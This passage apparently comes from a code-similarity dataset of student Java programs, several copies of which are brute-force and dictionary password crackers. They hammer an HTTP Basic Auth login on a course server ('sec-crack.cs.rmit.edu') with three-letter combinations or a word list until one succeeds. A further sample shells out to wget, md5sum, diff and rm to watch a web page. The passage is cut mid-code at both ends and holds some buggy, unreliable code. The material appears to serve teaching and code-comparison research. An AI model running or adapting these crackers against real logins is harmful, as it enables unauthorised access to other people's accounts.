\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\
\ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\
\ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\
\ String mesg1 = new String();\n String subject = new String(\"\
Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \
\ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\
\ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\
\ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\
\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\
\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \
\ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\
\ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\
md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\
\ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\
\ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\
\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\
\ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\
\ \n if(initialmd5.equals(presentmd5))\n \
\ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\
\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\
);\n System.out.println(\" is different\"); \n \
\ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \
\ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\
rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\
}\t\t\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\
import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\
import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\
\ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\
\ }\n\n public static void main(String[] args)\n {\n Dictionary\
\ dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n\
\ System.out.println(dictionary.printUsage());\n }\n \
\ else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n\
\ dictionary.setWordFile(args[2]);\n\n if (args.length >\
\ 3)\n {\n dictionary.setFileName(args[3]);\n \
\ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\
\ System.exit(1);\n }\n }\n\n public void process()\n\
\ {\n attempts = 0;\n String password = \"\";\n \n \
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\
\ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\
\ \n input = new BufferedReader(file);\n \n \
\ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\
File not found: \" + getWordFile());\n System.exit(2);\n }\n\
\n try\n {\n while ((password = input.readLine()) !=\
\ null)\n {\n try\n {\n \
\ \n attempts++;\n BasicAuthHttpRequest\
\ req =\n new BasicAuthHttpRequest(\n \
\ getURL(),\n getUserName(),\n \
\ password);\n setPassword(password);\n \
\ setEnd(new Timestamp(System.currentTimeMillis()));\n \
\ setContent(req.getContent().toString());\n\n \
\ \n if (getFileName() != null\n &&\
\ getFileName().length() > 0)\n {\n \
\ createReport();\n }\n return;\n \
\ }\n catch (MalformedURLException e)\n \
\ {\n e.printStackTrace();\n return;\n\
\ }\n catch (IOException e)\n {\n\
\n }\n }\n }\n catch (IOException x)\n\
\ {\n x.printStackTrace();\n }\n\n \n setEnd(new\
\ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\
\ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"**\
\ BruteForce proper usage **\\n\\n\");\n s.append(\n \"java\
\ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\
n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\
\ {\n return wordFile;\n }\n\n \n public void setWordFile(String\
\ string)\n {\n wordFile = string;\n }\n\n}\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
